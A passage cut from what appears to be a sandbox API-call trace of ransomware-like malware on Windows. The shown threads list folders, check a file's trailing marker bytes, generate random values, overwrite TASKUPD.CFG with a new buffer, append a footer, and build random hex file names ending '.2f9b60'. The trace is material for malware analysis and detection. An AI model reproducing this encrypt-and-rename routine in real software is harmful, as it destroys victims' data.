dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.609] WriteFile (in: hFile=0x2818, lpBuffer=0x431a9820*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3b77f930, lpOverlapped=0x0 | out: lpBuffer=0x431a9820*, lpNumberOfBytesWritten=0x3b77f930*=0x108, lpOverlapped=0x0) returned 1 [0206.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ddc0 [0206.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ddc0) returned 1 [0206.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f160 [0206.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ddc0 [0206.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1dd90 [0206.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1dd90) returned 1 [0206.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9eaf0 [0206.588] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="74") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="00") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="08") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="d5") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="17") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="95") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="8e") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="89") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="3b") returned 2 [0206.588] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="33") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="71") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="53") returned 2 [0206.589] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="37") returned 2 [0206.589] RtlInitAnsiString (in: DestinationString=0x3b77f9a8, SourceString="74ae5a00c20acd08d517959e8e893be7331b710a5337" | out: DestinationString="74ae5a00c20acd08d517959e8e893be7331b710a5337") [0206.589] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b77f978, SourceString="74ae5a00c20acd08d517959e8e893be7331b710a5337", AllocateDestinationString=1 | out: DestinationString="74ae5a00c20acd08d517959e8e893be7331b710a5337") returned 0x0 [0206.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf600 [0206.589] wcscat (in: _Dest=0x431c6200, _Source="74ae5a00c20" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20" [0206.589] wcscat (in: _Dest=0x431c6200, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20.2f9b60" [0206.589] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20.2f9b60", NtPathName=0x3b77f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\74ae5a00c20.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4311bfe0 Thread: id = 2665 os_tid = 0x2210 [0157.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg")) returned 0x20 [0159.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG", dwFileAttributes=0x20) returned 1 [0159.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1660 [0159.609] GetFileSizeEx (in: hFile=0x1660, lpFileSize=0x3aecf6a0 | out: lpFileSize=0x3aecf6a0*=806) returned 1 [0159.609] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.609] ReadFile (in: hFile=0x1660, lpBuffer=0x3aecf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aecf668, lpOverlapped=0x0 | out: lpBuffer=0x3aecf620*, lpNumberOfBytesRead=0x3aecf668*=0x4, lpOverlapped=0x0) returned 1 [0160.954] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2a20 [0160.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2cf0 [0160.955] NtQuerySystemTime (in: CurrentTime=0x3aecf560 | out: CurrentTime=0x3aecf560*=132462177660850000) returned 0x0 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x4ef7a258 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x7d0363 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x75b63bb6 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x414b11a4 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x6075ea72 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x72c22951 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x667c6572 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x73444ba [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x519506b9 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x12aea791 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0xdae945d [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x7357c3b8 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x4e31f193 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x28c26657 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x9b99138 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x20159728 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x2e207131 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x1793fa7e [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x71b22349 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0xe9901f2 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x13cb52f1 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x54eba684 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x2d1ec5d5 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x7af9cf20 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x634dfdd5 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x90a19dc [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x7aa41da0 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x28d216dc [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x71fea993 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x2b1f982d [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x77ca0999 [0160.955] RtlRandomEx (in: Seed=0x3aecf550 | out: Seed=0x3aecf550) returned 0x2245425f [0160.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2d20 [0160.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0160.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2d50 [0160.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0160.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2cf0) returned 1 [0160.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420595b0 [0160.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0160.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20442eb0 [0160.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0160.965] ReadFile (in: hFile=0x1660, lpBuffer=0x20442eb0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x3aecf550, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesRead=0x3aecf550*=0x326, lpOverlapped=0x0) returned 1 [0160.965] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.965] WriteFile (hFile=0x1660, lpBuffer=0x2046c360, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x3aecf554, lpOverlapped=0x0) [0181.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2de00 [0181.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2de30 [0181.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2de30) returned 1 [0181.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0181.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0181.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0181.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0181.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2de30 [0181.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420595b0 [0181.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0181.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2de60 [0181.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2de60) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2de60 [0181.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2de90 [0181.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dec0 [0181.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dec0) returned 1 [0181.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0181.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0181.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x430fa720 [0186.197] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.197] WriteFile (in: hFile=0x1660, lpBuffer=0x430fa720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3aecf670, lpOverlapped=0x0 | out: lpBuffer=0x430fa720*, lpNumberOfBytesWritten=0x3aecf670*=0x108, lpOverlapped=0x0) returned 1 [0207.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd960 [0207.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd960) returned 1 [0207.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d220 [0207.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd960 [0207.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd930 [0207.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd930) returned 1 [0207.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d030 [0207.324] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="88") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="f7") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="fc") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="63") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="53") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="03") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="c3") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="88") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="5f") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="5a") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="b0") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="94") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.324] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="35") returned 2 [0207.324] RtlInitAnsiString (in: DestinationString=0x3aecf6e8, SourceString="a2ec889bf7fccff863b55303c3885f5aeab0b5946e35" | out: DestinationString="a2ec889bf7fccff863b55303c3885f5aeab0b5946e35") [0207.324] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aecf6b8, SourceString="a2ec889bf7fccff863b55303c3885f5aeab0b5946e35", AllocateDestinationString=1 | out: DestinationString="a2ec889bf7fccff863b55303c3885f5aeab0b5946e35") returned 0x0 [0207.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e8f70 [0207.325] wcscat (in: _Dest=0x431c7b20, _Source="a2ec889bf7f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f" [0207.325] wcscat (in: _Dest=0x431c7b20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f.2f9b60" [0207.325] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f.2f9b60", NtPathName=0x3aecf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a2ec889bf7f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x43129aa0 Thread: id = 2666 os_tid = 0x2214 [0157.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0157.474] wcscpy (in: _Dest=0x1b86eaa0, _Source="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" [0157.474] wcscat (in: _Dest=0x1b86eaa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\" [0157.474] wcscat (in: _Dest=0x1b86eaa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*" [0157.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0157.475] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0157.475] wcscmp (_String1=".", _String2=".") returned 0 [0157.475] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.475] wcscmp (_String1="..", _String2=".") returned 1 [0157.475] wcscmp (_String1="..", _String2="..") returned 0 [0157.475] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0157.475] wcscmp (_String1="1.0", _String2=".") returned 1 [0157.475] wcscmp (_String1="1.0", _String2="..") returned 1 [0157.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86ef00 [0157.475] wcscpy (in: _Dest=0x1b86ef00, _Source="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" [0157.475] wcscat (in: _Dest=0x1b86ef00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\" [0157.476] wcscat (in: _Dest=0x1b86ef00, _Source="1.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" [0158.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86ef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0158.707] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0158.707] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0158.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0158.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 [0158.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 Thread: id = 2667 os_tid = 0x2218 [0157.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1ced5680 [0157.477] wcscpy (in: _Dest=0x1ced5680, _Source="C:\\Users\\All Users\\Microsoft\\DRM\\Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0157.477] wcscat (in: _Dest=0x1ced5680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\" [0157.477] wcscat (in: _Dest=0x1ced5680, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*" [0157.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0157.477] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5620 [0157.477] wcscmp (_String1=".", _String2=".") returned 0 [0157.477] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.477] wcscmp (_String1="..", _String2=".") returned 1 [0157.478] wcscmp (_String1="..", _String2="..") returned 0 [0157.478] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.478] FindClose (in: hFindFile=0x1ced5620 | out: hFindFile=0x1ced5620) returned 1 [0157.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0157.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5680) returned 1 [0157.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8590f0) 